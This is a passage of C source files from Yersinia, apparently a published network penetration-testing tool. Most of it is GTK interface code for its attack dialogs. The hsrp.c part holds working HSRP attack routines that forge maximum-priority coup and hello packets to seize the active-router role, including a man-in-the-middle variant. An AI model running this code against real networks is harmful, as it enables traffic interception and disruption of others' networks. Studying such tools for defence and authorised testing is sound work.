].attack_def_list[ params_ctx->helper->row ].desc, " ", NULL ); main_dialog = gtk_window_new( GTK_WINDOW_TOPLEVEL ); gtk_window_set_title( GTK_WINDOW( main_dialog ), _( title_text ) ); g_free( title_text ); gtk_window_set_position( GTK_WINDOW( main_dialog ), GTK_WIN_POS_CENTER_ON_PARENT ); gtk_window_set_resizable( GTK_WINDOW( main_dialog ), FALSE ); params_ctx->dialog = main_dialog ; main_vbox = gtk_vbox_new( FALSE, 0 ); gtk_container_add( GTK_CONTAINER( main_dialog ), main_vbox ); frame = gtk_frame_new( _( frame_text ) ); g_free( frame_text ); gtk_box_pack_start( GTK_BOX( main_vbox ), frame, FALSE, FALSE, 0 ); frame_vbox = gtk_vbox_new( FALSE, 0 ); gtk_container_add( GTK_CONTAINER( frame ), frame_vbox ); for (i = 0; i < params_ctx->nparams; i++) { param_hbox = gtk_hbox_new( FALSE, 5 ); label = gtk_label_new( _( params_ctx->params_list[i].desc ) ); gtk_widget_show( label ); gtk_box_pack_start( GTK_BOX( param_hbox ), label, FALSE, FALSE, 5 ); params_ctx->vh_entry[i] = gtk_entry_new(); gtk_entry_set_editable( GTK_ENTRY( params_ctx->vh_entry[i]), TRUE ); gtk_entry_set_width_chars( GTK_ENTRY( params_ctx->vh_entry[i] ), params_ctx->params_list[i].size_print ); gtk_entry_set_max_length( GTK_ENTRY( params_ctx->vh_entry[i] ), params_ctx->params_list[i].size_print ); gtk_widget_show( params_ctx->vh_entry[i] ); gtk_box_pack_end( GTK_BOX( param_hbox ), params_ctx->vh_entry[i], FALSE, FALSE, 5 ); gtk_box_pack_start( GTK_BOX( frame_vbox ), param_hbox, FALSE, FALSE, 3 ); gtk_widget_show( param_hbox ); } button_hbox = gtk_hbox_new( FALSE, 0 ); gtk_box_pack_start( GTK_BOX( main_vbox ), button_hbox, FALSE, FALSE, 5 ); cancel_button = gtk_button_new_with_mnemonic( _( "Cancel" ) ); g_signal_connect( (gpointer) cancel_button, "clicked", G_CALLBACK( gtk_c_attackparams_cancel_click ), (gpointer)params_ctx ); gtk_box_pack_start( GTK_BOX( button_hbox ), cancel_button, TRUE, FALSE, 0 ); ok_button = gtk_button_new_with_mnemonic( _( " OK " ) ); g_signal_connect( (gpointer) ok_button, "clicked", G_CALLBACK( gtk_c_attackparams_ok_click ), (gpointer)params_ctx ); gtk_box_pack_start( GTK_BOX( button_hbox ), ok_button, TRUE, FALSE, 0 ); gtk_widget_show( cancel_button ); gtk_widget_show( ok_button ); gtk_widget_show( button_hbox ); gtk_widget_show( frame_vbox ); gtk_widget_show( frame ); gtk_widget_show( main_vbox ); g_signal_connect( main_dialog, "delete_event", G_CALLBACK( gtk_c_attackparams_delete_event ), (gpointer)params_ctx ); return main_dialog; } GtkWidget* create_protocol_mwindow(GtkWidget *Main, struct gtk_s_helper *helper, u_int8_t proto) { u_int8_t i, total, row; struct commands_param *params; struct commands_param_extra *extra_params; GtkWidget *vpaned, *fields_vbox, *fields_hbox[5], *field_label; GtkWidget *scroll, *vbox, *frame, *fixed; GtkWidget *entry[20], *extra_button; GtkCellRenderer *cell; GtkTreeViewColumn *column; GType *types; PangoFontDescription *font_desc; char tmp_name[5], msg[1024]; params = protocols[proto].parameters; extra_params = protocols[proto].extra_parameters; total = 0; for (i = 0; i < protocols[proto].nparams; i++) { if (params[i].mwindow) total++; } for (i = 0; i < protocols[proto].extra_nparams; i++) { if (extra_params[i].mwindow) total++; } vpaned = gtk_vpaned_new (); scroll = gtk_scrolled_window_new (NULL, NULL); gtk_widget_show (scroll); // gtk_paned_pack1 (GTK_PANED (vpaned), scroll, TRUE, TRUE); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (scroll), GTK_SHADOW_IN); protocols_tree[proto] = gtk_tree_view_new(); gtk_tree_view_set_rules_hint(GTK_TREE_VIEW(protocols_tree[proto]), TRUE); /* +4 for the index, interface, total count and the timestamp */ types = g_new0 (GType, total + 4); types[0] = G_TYPE_INT; for (i = 1; i < total + 4; i++) { if (i == total + 4 - 2) types[i] = G_TYPE_ULONG; else types[i] = G_TYPE_STRING; } protocols_tree_model[proto] = gtk_list_store_newv(total + 4, types); g_free(types); gtk_widget_set_size_request (scroll, 250, 250); gtk_scrolled_window_add_with_viewport (GTK_SCROLLED_WINDOW (scroll), protocols_tree[proto]); gtk_tree_view_set_model (GTK_TREE_VIEW(protocols_tree[proto]), GTK_TREE_MODEL(protocols_tree_model[proto])); g_object_unref(protocols_tree_model[proto]); gtk_widget_show (protocols_tree[proto]); cell = gtk_cell_renderer_text_new (); total = 1; for (i = 0; i < protocols[proto].nparams; i++) { if (params[i].mwindow) { column = gtk_tree_view_column_new_with_attributes (params[i].ldesc, cell, "text", total, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (protocols_tree[proto]), GTK_TREE_VIEW_COLUMN (column)); total++; } } for (i = 0; i < protocols[proto].extra_nparams; i++) { if (extra_params[i].mwindow) { column = gtk_tree_view_column_new_with_attributes (extra_params[i].ldesc, cell, "text", total, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (protocols_tree[proto]), GTK_TREE_VIEW_COLUMN (column)); total++; } } column = gtk_tree_view_column_new_with_attributes ("Interface", cell, "text", total, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (protocols_tree[proto]), GTK_TREE_VIEW_COLUMN (column)); total++; column = gtk_tree_view_column_new_with_attributes ("Count", cell, "text", total, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (protocols_tree[proto]), GTK_TREE_VIEW_COLUMN (column)); total++; column = gtk_tree_view_column_new_with_attributes ("Last seen", cell, "text", total, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (protocols_tree[proto]), GTK_TREE_VIEW_COLUMN (column)); /* Setup the click handler */ g_signal_connect(protocols_tree[proto], "button-press-event", (GCallback) gtk_c_view_onButtonPressed, helper); // g_signal_connect(protocols_tree[proto], "popup-menu", (GCallback) gtk_c_view_onPopupMenu, NULL); /* Setup the selection handler */ helper->select = gtk_tree_view_get_selection (GTK_TREE_VIEW (protocols_tree[proto])); gtk_tree_selection_set_mode (helper->select, GTK_SELECTION_SINGLE); /* Update the packet information in the left widget */ g_signal_connect (G_OBJECT (helper->select), "changed", G_CALLBACK (gtk_c_tree_selection_changed_cb), helper); /* Update the hexview */ g_signal_connect (G_OBJECT (helper->select), "changed", G_CALLBACK (gtk_c_update_hexview), helper); /* for (i = 0; i < MAX_PACKET_STATS; i++) { gtk_list_store_append (GTK_LIST_STORE (protocols_tree_model[proto]), &iter); gtk_list_store_set (GTK_LIST_STORE(protocols_tree_model[proto]), &iter, 0, i, -1); }*/ vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (vbox); gtk_paned_pack1 (GTK_PANED (vpaned), vbox, FALSE, TRUE); /* A frame which name is the protocol name */ frame = gtk_frame_new(protocols[proto].description); gtk_widget_show(frame); /* Ncurses compability: we are going to have 5 rows and in each row, 2*number of fields */ fixed = gtk_fixed_new (); gtk_widget_set_size_request (fixed, 200, 200); gtk_widget_show (fixed); gtk_box_pack_start (GTK_BOX (vbox), scroll, TRUE, TRUE, 0); gtk_box_pack_start (GTK_BOX (vbox), frame, TRUE, TRUE, 0); fields_vbox = gtk_vbox_new(FALSE, 0); gtk_widget_show(fields_vbox); gtk_container_add(GTK_CONTAINER(frame), fields_vbox); for (i = 0; i < 5; i++) { fields_hbox[i] = gtk_hbox_new(FALSE, 25); gtk_widget_show(fields_hbox[i]); gtk_box_pack_start(GTK_BOX(fields_vbox), fields_hbox[i], TRUE, TRUE, 0); } for (i = 0; i < protocols[proto].nparams; i++) { if ((params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_IFACE) && (params[i].type != FIELD_EXTRA)) { field_label = gtk_label_new(params[i].ldesc); gtk_widget_show(field_label); entry[i] = gtk_entry_new(); gtk_entry_set_width_chars(GTK_ENTRY(entry[i]), params[i].size_print); /* By default, entry widgets are not editable, you have to turn on * edit mode */ gtk_entry_set_editable(GTK_ENTRY(entry[i]), FALSE); /* Set up a monospaced font */ font_desc = pango_font_description_from_string ("Monospace 10"); gtk_widget_modify_font(entry[i], font_desc); gtk_widget_show(entry[i]); /* Initialize the values */ parser_binary2printable(proto, i, helper->node->protocol[proto].commands_param[i], msg); gtk_entry_set_text(GTK_ENTRY(entry[i]), msg); row = params[i].row; gtk_box_pack_start(GTK_BOX(fields_hbox[row-1]), field_label, FALSE, TRUE, 0); gtk_box_pack_start(GTK_BOX(fields_hbox[row-1]), entry[i], FALSE, TRUE, 0); /* We are going to refer to the entry boxes as XXYY where XX is the protocol number, and YY the field number */ snprintf(tmp_name, 5, "%02d%02d", proto, i); GLADE_HOOKUP_OBJECT (Main, entry[i], tmp_name); } } if (protocols[proto].extra_nparams > 0) { extra_button = gtk_button_new_with_label("Extra"); gtk_widget_show(extra_button); gtk_box_pack_start(GTK_BOX(fields_hbox[0]), extra_button, FALSE, TRUE, 0); g_signal_connect ((gpointer) extra_button, "clicked", G_CALLBACK (gtk_c_on_extra_button_clicked), helper); } /* Store pointers to all widgets, for use by lookup_widget(). */ return vpaned; } void gtk_i_view_menu(GtkWidget *treeview, GtkWidget *wmain, GdkEventButton *event, struct gtk_s_helper *helper) { GtkWidget *menu, *menuitem; menu = gtk_menu_new(); menuitem = gtk_menu_item_new_with_label(_("Learn packet from network")); g_signal_connect(menuitem, "activate", (GCallback) gtk_c_view_popup_menu, helper); gtk_menu_shell_append(GTK_MENU_SHELL(menu), menuitem); gtk_widget_show_all(menu); /* Note: event can be NULL here when called from view_onPopupMenu; * gdk_event_get_time() accepts a NULL argument */ gtk_menu_popup(GTK_MENU(menu), NULL, NULL, NULL, NULL, (event != NULL) ? event->button : 0, gdk_event_get_time((GdkEvent*)event)); GLADE_HOOKUP_OBJECT (wmain, menuitem, "menuitem"); } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C/C++
yersinia/src/gtk-interface.h
/* gtk_interface.h * Definitions for GTK Interfaces * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __GTK_INTERFACE_H__ #define __GTK_INTERFACE_H__ #include "gtk-callbacks.h" #include "gtk-support.h" static GtkWidget *protocols_tree[MAX_PROTOCOLS + 1]; static GtkListStore *protocols_tree_model[MAX_PROTOCOLS + 1]; GtkWidget* gtk_i_create_Main (struct gtk_s_helper *); GtkWidget* gtk_i_create_opendialog (struct gtk_s_helper *); GtkWidget* gtk_i_create_savedialog (struct gtk_s_helper *); GtkWidget* gtk_i_create_capturedialog (struct gtk_s_helper *); void gtk_i_create_aboutdialog( GtkMenuItem *menuitem, gpointer user_data ); GtkWidget* gtk_i_create_attacksdialog (GtkWidget *, struct gtk_s_helper *, u_int8_t); GtkWidget* create_viewpacketdialog (void); GtkWidget* create_interfacesdialog (struct term_node *); GtkWidget* gtk_i_create_listattacksdialog (struct term_node *); GtkWidget* create_infodialog (void); GtkWidget* gtk_i_create_warningdialog (char *, ...); GtkWidget* gtk_i_create_extradialog (struct gtk_s_helper *); GtkWidget* gtk_i_create_add_extradialog (struct gtk_s_helper *, u_int8_t); GtkWidget* gtk_i_create_attackparamsdialog( GTK_ATTACK_PARAMS_CONTEXT * ); GtkWidget* create_protocol_mwindow(GtkWidget *, struct gtk_s_helper *, u_int8_t); void gtk_i_view_menu(GtkWidget *, GtkWidget *, GdkEventButton *, struct gtk_s_helper *); void gtk_i_modaldialog( int msg_type, char *header, char *msg, ...); /* For the credits comments */ extern int8_t term_motd(void); extern char *vty_motd[]; #endif
C
yersinia/src/gtk-support.c
/* gtk_support.c * GTK Support functions * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <gtk/gtk.h> #include "gtk-support.h" GtkWidget* lookup_widget (GtkWidget *widget, const gchar *widget_name) { GtkWidget *parent, *found_widget; for (;;) { if (GTK_IS_MENU (widget)) parent = gtk_menu_get_attach_widget (GTK_MENU (widget)); else parent = widget->parent; if (!parent) parent = (GtkWidget*) g_object_get_data (G_OBJECT (widget), "GladeParentKey"); if (parent == NULL) break; widget = parent; } found_widget = (GtkWidget*) g_object_get_data (G_OBJECT (widget), widget_name); if (!found_widget) g_warning ("Widget not found: %s", widget_name); return found_widget; } static GList *pixmaps_directories = NULL; /* Use this function to set the directory containing installed pixmaps. */ void add_pixmap_directory (const gchar *directory) { pixmaps_directories = g_list_prepend (pixmaps_directories, g_strdup (directory)); } /* This is an internally used function to find pixmap files. */ static gchar* find_pixmap_file (const gchar *filename) { GList *elem; /* We step through each of the pixmaps directory to find it. */ elem = pixmaps_directories; while (elem) { gchar *pathname = g_strdup_printf ("%s%s%s", (gchar*)elem->data, G_DIR_SEPARATOR_S, filename); if (g_file_test (pathname, G_FILE_TEST_EXISTS)) return pathname; g_free (pathname); elem = elem->next; } return NULL; } /* This is an internally used function to create pixmaps. */ GtkWidget* create_pixmap (GtkWidget *widget, const gchar *filename) { gchar *pathname = NULL; GtkWidget *pixmap; if (!filename || !filename[0]) return gtk_image_new (); pathname = find_pixmap_file (filename); if (!pathname) { g_warning (_("Couldn't find pixmap file: %s"), filename); return gtk_image_new (); } pixmap = gtk_image_new_from_file (pathname); g_free (pathname); return pixmap; } /* This is an internally used function to create pixmaps. */ GdkPixbuf* create_pixbuf (const gchar *filename) { gchar *pathname = NULL; GdkPixbuf *pixbuf; GError *error = NULL; if (!filename || !filename[0]) return NULL; pathname = find_pixmap_file (filename); if (!pathname) { g_warning (_("Couldn't find pixmap file: %s"), filename); return NULL; } pixbuf = gdk_pixbuf_new_from_file (pathname, &error); if (!pixbuf) { fprintf (stderr, "Failed to load pixbuf file: %s: %s\n", pathname, error->message); g_error_free (error); } g_free (pathname); return pixbuf; } /* This is used to set ATK action descriptions. */ void glade_set_atk_action_description (AtkAction *action, const gchar *action_name, const gchar *description) { gint n_actions, i; n_actions = atk_action_get_n_actions (action); for (i = 0; i < n_actions; i++) { if (!strcmp (atk_action_get_name (action, i), action_name)) atk_action_set_description (action, i, description); } }
C/C++
yersinia/src/gtk-support.h
/* gtk_support.h * Definitions for GTK Support * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __GTK_SUPPORT_H__ #define __GTK_SUPPORT_H__ #ifdef HAVE_CONFIG_H # include <config.h> #endif #include <gtk/gtk.h> /* * Standard gettext macros. */ #ifdef ENABLE_NLS # include <libintl.h> # undef _ # define _(String) dgettext (PACKAGE, String) # define Q_(String) g_strip_context ((String), gettext (String)) # ifdef gettext_noop # define N_(String) gettext_noop (String) # else # define N_(String) (String) # endif #else # define textdomain(String) (String) # define gettext(String) (String) # define dgettext(Domain,Message) (Message) # define dcgettext(Domain,Message,Type) (Message) # define bindtextdomain(Domain,Directory) (Domain) # define _(String) (String) # define Q_(String) g_strip_context ((String), (String)) # define N_(String) (String) #endif /* * Public Functions. */ /* * This function returns a widget in a component created by Glade. * Call it with the toplevel widget in the component (i.e. a window/dialog), * or alternatively any widget in the component, and the name of the widget * you want returned. */ GtkWidget* lookup_widget (GtkWidget *widget, const gchar *widget_name); /* Use this function to set the directory containing installed pixmaps. */ void add_pixmap_directory (const gchar *directory); /* * Private Functions. */ /* This is used to create the pixmaps used in the interface. */ GtkWidget* create_pixmap (GtkWidget *widget, const gchar *filename); /* This is used to create the pixbufs used in the interface. */ GdkPixbuf* create_pixbuf (const gchar *filename); /* This is used to set ATK action descriptions. */ void glade_set_atk_action_description (AtkAction *action, const gchar *action_name, const gchar *description); struct gtk_s_helper { struct term_node *node; u_int8_t mode; u_int8_t row; u_int8_t extra; GtkWidget *notebook; GtkTooltips *tooltips; GtkTreeSelection *select; GtkWidget *statusbar; u_int8_t edit_mode; struct _attack_definition *attack_def; struct attack_param *attack_param; }; typedef struct _GTK_ATTACK_CONTEXT_ { GtkWidget *dialog ; /* Attacks list main dialog */ GtkWidget *h_box ; /* Horizontal box where the current attack lies, useful for disabling graphically... */ struct term_node *node ; u_int8_t protocol ; u_int8_t attack ; } GTK_ATTACK_CONTEXT ; typedef struct _GTK_DIALOG_ATTACK_CONTEXT_ { GtkWidget *dialog ; /* Attacks list main dialog */ struct term_node *node ; GTK_ATTACK_CONTEXT *enabled_attacks_list ; } GTK_DIALOG_ATTACK_CONTEXT ; typedef struct _GTK_ATTACK_PARAMS_CONTEXT_ { struct gtk_s_helper *helper ; GtkWidget *dialog ; /* Attacks parameters dialog */ GtkWidget **vh_entry ; /* Widget list relating to attack parameters */ u_int8_t nparams ; /* parameters count */ struct attack_param *params_list ; int8_t attack_status ; } GTK_ATTACK_PARAMS_CONTEXT ; #endif
C
yersinia/src/hsrp.c
/* hsrp.c * Implementation and attacks for Cisco Hot Standby Router Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* HSRP functions - please read RFC 2281 before complaining!!! */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #include <stdarg.h> #include "hsrp.h" void hsrp_register(void) { protocol_register(PROTO_HSRP, "HSRP", "Hot Standby Router Protocol", "hsrp", sizeof(struct hsrp_data), hsrp_init_attribs, NULL, hsrp_get_printable_packet, hsrp_get_printable_store, hsrp_load_values, hsrp_attack, hsrp_update_field, hsrp_features, hsrp_comm_params, SIZE_ARRAY(hsrp_comm_params), NULL, 0, NULL, hsrp_init_comms_struct, PROTO_VISIBLE, hsrp_end); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t hsrp_init_comms_struct(struct term_node *node) { struct hsrp_data *hsrp_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(hsrp_comm_params)); if (comm_param == NULL) { thread_error("hsrp_init_commands_struct calloc error",errno); return -1; } hsrp_data = node->protocol[PROTO_HSRP].tmp_data; node->protocol[PROTO_HSRP].commands_param = comm_param; comm_param[HSRP_SMAC] = &hsrp_data->mac_source; comm_param[HSRP_DMAC] = &hsrp_data->mac_dest; comm_param[HSRP_SIP] = &hsrp_data->sip; comm_param[HSRP_DIP] = &hsrp_data->dip; comm_param[HSRP_SPORT] = &hsrp_data->sport; comm_param[HSRP_DPORT] = &hsrp_data->dport; comm_param[HSRP_VER] = &hsrp_data->version; comm_param[HSRP_OPCODE] = &hsrp_data->opcode; comm_param[HSRP_STATE] = &hsrp_data->state; comm_param[HSRP_HELLO_TIME] = &hsrp_data->hello_time; comm_param[HSRP_HOLD_TIME] = &hsrp_data->hold_time; comm_param[HSRP_PRIORITY] = &hsrp_data->priority; comm_param[HSRP_GROUP] = &hsrp_data->group; comm_param[HSRP_RESERVED] = &hsrp_data->reserved; comm_param[HSRP_AUTHDATA] = &hsrp_data->authdata; comm_param[HSRP_VIRTUALIP] = &hsrp_data->virtual_ip; comm_param[16] = NULL; comm_param[17] = NULL; return 0; } void hsrp_th_send_raw( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct hsrp_data *hsrp_data; sigset_t mask; u_int32_t lbl32; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("hsrp_send_discover pthread_sigmask()",errno); hsrp_th_send_raw_exit(attacks); } hsrp_data = attacks->data; /* libnet fix */ lbl32 = htonl(hsrp_data->sip); memcpy((void *)&hsrp_data->sip, &lbl32, 4); lbl32 = htonl(hsrp_data->dip); memcpy((void *)&hsrp_data->dip, &lbl32, 4); hsrp_send_packet(attacks); hsrp_th_send_raw_exit(attacks); } void hsrp_th_send_raw_exit( struct attacks *attacks ) { attack_th_exit( attacks ); pthread_mutex_unlock( &attacks->attack_th.finished ); pthread_exit( NULL ); } void hsrp_th_become_active( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct hsrp_data *hsrp_data = (struct hsrp_data *)attacks->data; struct attack_param *param = attacks->params; struct interface_data *iface_data; struct timeval now; sigset_t mask; struct pcap_pkthdr header; struct pcap_data pcap_aux; u_int32_t lbl32; dlist_t *p; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("hsrp_send_discover pthread_sigmask()",errno); hsrp_th_become_active_exit(attacks); } gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; if ( ! hsrp_learn_packet( attacks, NULL, &attacks->attack_th.stop, attacks->data,&header, &pcap_aux ) ) { hsrp_data->opcode = HSRP_TYPE_COUP; hsrp_data->state = HSRP_STATE_SPEAK; if ( attacks->attack == HSRP_ATTACK_BECOME_ACTIVE ) memcpy((void *)&hsrp_data->sip, (void *)param[HSRP_SOURCE_IP].value, 4); else if ( attacks->attack == HSRP_ATTACK_MITM_BECOME_ACTIVE ) { /* Get interface's ip address */ p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, pcap_aux.iface); iface_data = (struct interface_data *) dlist_data(p); hsrp_data->sip = ntohl(inet_addr(iface_data->ipaddr)); /* libnet fix */ lbl32 = ntohl(hsrp_data->sip); memcpy((void *)&hsrp_data->sip, &lbl32, 4); } /* libnet fix */ hsrp_data->dip = inet_addr("224.0.0.2"); /* Max priority */ hsrp_data->priority = 0xFF; hsrp_send_packet(attacks); hsrp_data->opcode = HSRP_TYPE_HELLO; hsrp_data->state = HSRP_STATE_ACTIVE; if ( ! thread_create( &attacks->helper_th, &hsrp_send_hellos, attacks) ) { while ( ! attacks->attack_th.stop ) thread_usleep( 200000 ); } else write_log( 0, "hsrp_th_become_active thread_create error\n" ); } hsrp_th_become_active_exit(attacks); } void hsrp_th_become_active_exit( struct attacks *attacks ) { attack_th_exit( attacks ); pthread_mutex_unlock( &attacks->attack_th.finished ); pthread_exit(NULL); } void hsrp_send_hellos( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct hsrp_data *hsrp_data = (struct hsrp_data *)attacks->data;; struct timeval hello; int ret; u_int16_t secs = 0; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); hello.tv_sec = 0; hello.tv_usec = 0; write_log(0,"\n hsrp_helper: %X started...\n",(int)pthread_self()); while ( !attacks->helper_th.stop) { if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 ) break; if ( !ret ) /* Timeout... */ { if (secs == hsrp_data->hello_time) /* Send HSRP hello...*/ { hsrp_send_packet( attacks ); secs=0; } else secs++; } hello.tv_sec = 1; hello.tv_usec = 0; } write_log(0," hsrp_helper: %X finished...\n",(int)pthread_self()); pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); } int8_t hsrp_send_packet(struct attacks *attacks) { libnet_ptag_t t; int sent; u_int16_t len; struct hsrp_data *hsrp_data; u_int8_t *hsrp_packet, *aux; libnet_t *lhandler; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; hsrp_data = attacks->data; hsrp_packet = calloc(1, HSRP_PACKET_SIZE); aux = hsrp_packet; *aux = hsrp_data->version; aux++; *aux = hsrp_data->opcode; aux++; *aux = hsrp_data->state; aux++; *aux = hsrp_data->hello_time; aux++; *aux = hsrp_data->hold_time; aux++; *aux = hsrp_data->priority; aux++; *aux = hsrp_data->group; aux++; *aux = hsrp_data->reserved; aux++; len = strlen(hsrp_data->authdata); memcpy((void *)aux, (void *)hsrp_data->authdata, (len < HSRP_AUTHDATA_LENGTH) ? len : HSRP_AUTHDATA_LENGTH); /* aux += (len < HSRP_AUTHDATA_LENGTH) ? len : HSRP_AUTHDATA_LENGTH;*/ aux += 8; (*(u_int32_t *)aux) = (u_int32_t) htonl(hsrp_data->virtual_ip); for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_udp( hsrp_data->sport, /* source port */ hsrp_data->dport, /* destination port */ LIBNET_UDP_H + HSRP_PACKET_SIZE, /* packet size */ 0, /* checksum */ hsrp_packet, /* payload */ HSRP_PACKET_SIZE, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build udp datagram",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + HSRP_PACKET_SIZE,/* length */ 0x10, /* TOS */ 0, /* IP ID */ 0, /* IP Frag */ 1, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ hsrp_data->sip, /* src ip */ hsrp_data->dip, /* destination ip */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ipv4 packet",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_ethernet( hsrp_data->mac_dest, /* ethernet destination */ (attacks->mac_spoofing) ? hsrp_data->mac_source : iface_data->etheraddr, /* ethernet source */ ETHERTYPE_IP, NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_HSRP].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_HSRP]++; } free(hsrp_packet); return 0; } /* * */ int8_t hsrp_learn_packet( struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header, struct pcap_data *pcap_aux) { struct hsrp_data *hsrp_data = (struct hsrp_data *)data; struct interface_data *iface_data = NULL ; u_int8_t got_hsrp_packet = 0; u_int8_t *packet; dlist_t *p; int8_t ret = -1 ; if ( iface ) { p = dlist_search( attacks->used_ints->list, attacks->used_ints->cmp, iface ); if ( !p ) return -1; iface_data = (struct interface_data *) dlist_data(p); } packet = calloc( 1, SNAPLEN ); if ( packet ) { while ( !got_hsrp_packet && !(*stop) ) { interfaces_get_packet( attacks->used_ints, iface_data, stop, header, packet, PROTO_HSRP, NO_TIMEOUT ); if ( !(*stop) ) { pcap_aux->header = header; pcap_aux->packet = packet; if ( !hsrp_load_values( pcap_aux, hsrp_data ) ) { got_hsrp_packet = 1; ret = 0 ; } } } free(packet); } return ret; } int8_t hsrp_load_values(struct pcap_data *data, void *values) { struct 